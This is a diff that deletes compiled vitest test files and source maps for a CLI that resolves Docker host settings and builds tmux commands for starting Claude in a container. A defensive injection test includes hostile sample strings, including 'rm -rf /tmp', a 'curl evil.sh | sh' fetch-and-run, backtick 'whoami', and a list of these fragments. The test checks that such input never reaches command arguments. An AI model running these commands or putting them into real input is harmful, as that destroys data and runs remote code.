{"version":3,"file":"docker-host.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/docker-host.test.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;GAWG"}
|
|
@@ -1,109 +0,0 @@
|
|
|
1
|
-
/**
|
|
2
|
-
* Tests for resolveDockerHostOptions.
|
|
3
|
-
*
|
|
4
|
-
* The function chooses Dockerode constructor options based on three
|
|
5
|
-
* sources, in priority order:
|
|
6
|
-
* 1. DOCKER_HOST env (let Dockerode parse)
|
|
7
|
-
* 2. `docker context inspect` output
|
|
8
|
-
* 3. `/var/run/docker.sock` POSIX default
|
|
9
|
-
*
|
|
10
|
-
* We inject a mock spawnSync so tests don't depend on a real `docker`
|
|
11
|
-
* binary or the user's actual context.
|
|
12
|
-
*/
|
|
13
|
-
import { describe, it, expect, beforeEach, afterEach, vi } from 'vitest';
|
|
14
|
-
import { resolveDockerHostOptions } from '../docker-host.js';
|
|
15
|
-
function makeSpawn(stdout, status = 0) {
|
|
16
|
-
return ((_cmd, _args) => ({
|
|
17
|
-
pid: 1,
|
|
18
|
-
output: [],
|
|
19
|
-
stdout,
|
|
20
|
-
stderr: '',
|
|
21
|
-
status,
|
|
22
|
-
signal: null,
|
|
23
|
-
}));
|
|
24
|
-
}
|
|
25
|
-
function makeFailingSpawn() {
|
|
26
|
-
return ((_cmd) => {
|
|
27
|
-
throw new Error('docker: command not found');
|
|
28
|
-
});
|
|
29
|
-
}
|
|
30
|
-
describe('resolveDockerHostOptions', () => {
|
|
31
|
-
const originalDockerHost = process.env.DOCKER_HOST;
|
|
32
|
-
beforeEach(() => {
|
|
33
|
-
delete process.env.DOCKER_HOST;
|
|
34
|
-
});
|
|
35
|
-
afterEach(() => {
|
|
36
|
-
if (originalDockerHost === undefined) {
|
|
37
|
-
delete process.env.DOCKER_HOST;
|
|
38
|
-
}
|
|
39
|
-
else {
|
|
40
|
-
process.env.DOCKER_HOST = originalDockerHost;
|
|
41
|
-
}
|
|
42
|
-
});
|
|
43
|
-
it('returns empty options when DOCKER_HOST is set (lets Dockerode parse natively)', () => {
|
|
44
|
-
process.env.DOCKER_HOST = 'tcp://docker-socket-proxy:2375';
|
|
45
|
-
const opts = resolveDockerHostOptions(makeSpawn(''));
|
|
46
|
-
expect(opts).toEqual({});
|
|
47
|
-
});
|
|
48
|
-
it('parses unix:// from docker context inspect (Linux default)', () => {
|
|
49
|
-
const opts = resolveDockerHostOptions(makeSpawn('unix:///var/run/docker.sock\n'));
|
|
50
|
-
expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
|
|
51
|
-
});
|
|
52
|
-
it('parses unix:// from docker context for Docker Desktop on macOS', () => {
|
|
53
|
-
const opts = resolveDockerHostOptions(makeSpawn('unix:///Users/operator/.docker/run/docker.sock\n'));
|
|
54
|
-
expect(opts).toEqual({ socketPath: '/Users/operator/.docker/run/docker.sock' });
|
|
55
|
-
});
|
|
56
|
-
it('parses npipe:// for Windows named pipes', () => {
|
|
57
|
-
const opts = resolveDockerHostOptions(makeSpawn('npipe:////./pipe/docker_engine\n'));
|
|
58
|
-
expect(opts).toEqual({ socketPath: '//./pipe/docker_engine' });
|
|
59
|
-
});
|
|
60
|
-
it('parses tcp:// for remote daemon endpoints', () => {
|
|
61
|
-
const opts = resolveDockerHostOptions(makeSpawn('tcp://docker.example.com:2376\n'));
|
|
62
|
-
expect(opts).toEqual({
|
|
63
|
-
host: 'docker.example.com',
|
|
64
|
-
port: 2376,
|
|
65
|
-
protocol: 'http',
|
|
66
|
-
});
|
|
67
|
-
});
|
|
68
|
-
it('parses https:// with default port 2376', () => {
|
|
69
|
-
const opts = resolveDockerHostOptions(makeSpawn('https://docker.example.com\n'));
|
|
70
|
-
expect(opts).toEqual({
|
|
71
|
-
host: 'docker.example.com',
|
|
72
|
-
port: 2376,
|
|
73
|
-
protocol: 'https',
|
|
74
|
-
});
|
|
75
|
-
});
|
|
76
|
-
it('parses http:// with default port 2375', () => {
|
|
77
|
-
const opts = resolveDockerHostOptions(makeSpawn('http://docker.example.com\n'));
|
|
78
|
-
expect(opts).toEqual({
|
|
79
|
-
host: 'docker.example.com',
|
|
80
|
-
port: 2375,
|
|
81
|
-
protocol: 'http',
|
|
82
|
-
});
|
|
83
|
-
});
|
|
84
|
-
it('falls back to /var/run/docker.sock when docker CLI fails (non-zero exit)', () => {
|
|
85
|
-
const opts = resolveDockerHostOptions(makeSpawn('', 1));
|
|
86
|
-
expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
|
|
87
|
-
});
|
|
88
|
-
it('falls back to /var/run/docker.sock when docker CLI is missing (spawn throws)', () => {
|
|
89
|
-
const opts = resolveDockerHostOptions(makeFailingSpawn());
|
|
90
|
-
expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
|
|
91
|
-
});
|
|
92
|
-
it('falls back to /var/run/docker.sock when context returns empty string', () => {
|
|
93
|
-
const opts = resolveDockerHostOptions(makeSpawn('\n'));
|
|
94
|
-
expect(opts).toEqual({ socketPath: '/var/run/docker.sock' });
|
|
95
|
-
});
|
|
96
|
-
it('DOCKER_HOST takes precedence over docker context inspect', () => {
|
|
97
|
-
process.env.DOCKER_HOST = 'unix:///custom/path.sock';
|
|
98
|
-
// Even though spawn would have returned a different path, env wins.
|
|
99
|
-
const spy = vi.fn(() => ({
|
|
100
|
-
stdout: 'unix:///wrong/path.sock\n',
|
|
101
|
-
stderr: '',
|
|
102
|
-
status: 0,
|
|
103
|
-
}));
|
|
104
|
-
const opts = resolveDockerHostOptions(spy);
|
|
105
|
-
expect(opts).toEqual({});
|
|
106
|
-
expect(spy).not.toHaveBeenCalled();
|
|
107
|
-
});
|
|
108
|
-
});
|
|
109
|
-
//# sourceMappingURL=docker-host.test.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"docker-host.test.js","sourceRoot":"","sources":["../../src/__tests__/docker-host.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"enter.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/enter.test.ts"],"names":[],"mappings":""}
|
|
@@ -1,90 +0,0 @@
|
|
|
1
|
-
import { describe, expect, it } from 'vitest';
|
|
2
|
-
import { buildStartClaudeCommands } from '../commands/enter.js';
|
|
3
|
-
describe('buildStartClaudeCommands (Phase C/C4)', () => {
|
|
4
|
-
it('without --task, returns: open + ensure-window + attach (3 steps)', () => {
|
|
5
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', undefined);
|
|
6
|
-
expect(steps.length).toBe(3);
|
|
7
|
-
expect(steps[0].command).toContain('tmux new-session -A -d -s olam-w1');
|
|
8
|
-
expect(steps[0].command).toContain("-n claude 'claude'");
|
|
9
|
-
// Step 1b: idempotent claude-window ensure (CP3 ADV-C4-002 closure).
|
|
10
|
-
expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
|
|
11
|
-
expect(steps[1].command).toContain('|| true');
|
|
12
|
-
expect(steps[2].command).toContain('tmux attach -t olam-w1');
|
|
13
|
-
expect(steps.every((s) => s.stdin === undefined)).toBe(true);
|
|
14
|
-
});
|
|
15
|
-
it('with empty --task, treats as no-task (still 3 steps, no paste)', () => {
|
|
16
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', '');
|
|
17
|
-
expect(steps.length).toBe(3);
|
|
18
|
-
expect(steps.every((s) => s.stdin === undefined)).toBe(true);
|
|
19
|
-
expect(steps.every((s) => !s.command.includes('paste-buffer'))).toBe(true);
|
|
20
|
-
});
|
|
21
|
-
it('with --task, returns: open + ensure-window + load-buffer (stdin) + paste-buffer + attach (5 steps)', () => {
|
|
22
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'fix the bug');
|
|
23
|
-
expect(steps.length).toBe(5);
|
|
24
|
-
expect(steps[0].command).toContain('tmux new-session -A');
|
|
25
|
-
expect(steps[0].stdin).toBeUndefined();
|
|
26
|
-
expect(steps[1].command).toContain('tmux new-window -t olam-w1 -n claude');
|
|
27
|
-
expect(steps[2].command).toContain('tmux load-buffer -');
|
|
28
|
-
expect(steps[2].command).toContain('docker exec -i container-x');
|
|
29
|
-
expect(steps[2].stdin).toBe('fix the bug');
|
|
30
|
-
expect(steps[3].command).toContain('tmux paste-buffer -t olam-w1:claude');
|
|
31
|
-
expect(steps[3].stdin).toBeUndefined();
|
|
32
|
-
expect(steps[4].command).toContain('tmux attach -t olam-w1');
|
|
33
|
-
});
|
|
34
|
-
it('rejects task containing NUL byte (CP3 ADV-C4-001 — paste-buffer truncation)', () => {
|
|
35
|
-
expect(() => buildStartClaudeCommands('container-x', 'olam-w1', 'before\0after')).toThrow(/NUL byte/);
|
|
36
|
-
});
|
|
37
|
-
it('SECURITY (T17): task with shell metacharacters rides via stdin, NEVER appears in any command argv', () => {
|
|
38
|
-
const evil = 'Fix bug; rm -rf /tmp; $(curl evil.sh | sh) `whoami`';
|
|
39
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', evil);
|
|
40
|
-
// The dangerous text MUST appear EXACTLY ONCE — in the stdin of the
|
|
41
|
-
// load-buffer step.
|
|
42
|
-
const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
|
|
43
|
-
expect(loadBuf).toBeDefined();
|
|
44
|
-
expect(loadBuf.stdin).toBe(evil);
|
|
45
|
-
// Every other step's command (and ALL command strings) MUST NOT contain
|
|
46
|
-
// any of the dangerous substrings — that would mean the task was
|
|
47
|
-
// interpolated into argv somewhere.
|
|
48
|
-
const dangerousFragments = [
|
|
49
|
-
'rm -rf /tmp',
|
|
50
|
-
'curl evil.sh',
|
|
51
|
-
'`whoami`',
|
|
52
|
-
'$(curl',
|
|
53
|
-
];
|
|
54
|
-
for (const step of steps) {
|
|
55
|
-
for (const frag of dangerousFragments) {
|
|
56
|
-
expect(step.command).not.toContain(frag);
|
|
57
|
-
}
|
|
58
|
-
}
|
|
59
|
-
});
|
|
60
|
-
it('SECURITY: newline in task survives literally (no premature submission)', () => {
|
|
61
|
-
const multiline = 'first line\nsecond line';
|
|
62
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', multiline);
|
|
63
|
-
const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
|
|
64
|
-
expect(loadBuf.stdin).toBe(multiline);
|
|
65
|
-
// Literal newline preserved through stdin → load-buffer.
|
|
66
|
-
expect(loadBuf.stdin).toContain('\n');
|
|
67
|
-
});
|
|
68
|
-
it('rejects containerName with shell metacharacters (defensive guard)', () => {
|
|
69
|
-
expect(() => buildStartClaudeCommands('evil; rm -rf /', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
|
|
70
|
-
});
|
|
71
|
-
it('rejects sessionName with shell metacharacters (defensive guard)', () => {
|
|
72
|
-
expect(() => buildStartClaudeCommands('container-x', 'evil; rm /', undefined)).toThrow(/sessionName.*defensive guard/);
|
|
73
|
-
});
|
|
74
|
-
it('rejects empty containerName', () => {
|
|
75
|
-
expect(() => buildStartClaudeCommands('', 'olam-w1', undefined)).toThrow(/containerName.*defensive guard/);
|
|
76
|
-
});
|
|
77
|
-
it('handles long task text (>4KB) — paste buffer is byte-based, not arg-len-bounded', () => {
|
|
78
|
-
const long = 'A'.repeat(8192);
|
|
79
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', long);
|
|
80
|
-
const loadBuf = steps.find((s) => s.command.includes('tmux load-buffer'));
|
|
81
|
-
expect(loadBuf.stdin).toBe(long);
|
|
82
|
-
expect(loadBuf.stdin.length).toBe(8192);
|
|
83
|
-
});
|
|
84
|
-
it('command target uses session:window form for paste-buffer (avoids accidental window selection)', () => {
|
|
85
|
-
const steps = buildStartClaudeCommands('container-x', 'olam-w1', 'hello');
|
|
86
|
-
const paste = steps.find((s) => s.command.includes('tmux paste-buffer'));
|
|
87
|
-
expect(paste.command).toContain('-t olam-w1:claude');
|
|
88
|
-
});
|
|
89
|
-
});
|
|
90
|
-
//# sourceMappingURL=enter.test.js.map
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"enter.test.js","sourceRoot":"","sources":["../../src/__tests__/enter.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"file":"help-output.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/help-output.test.ts"],"names":[],"mappings":""}
|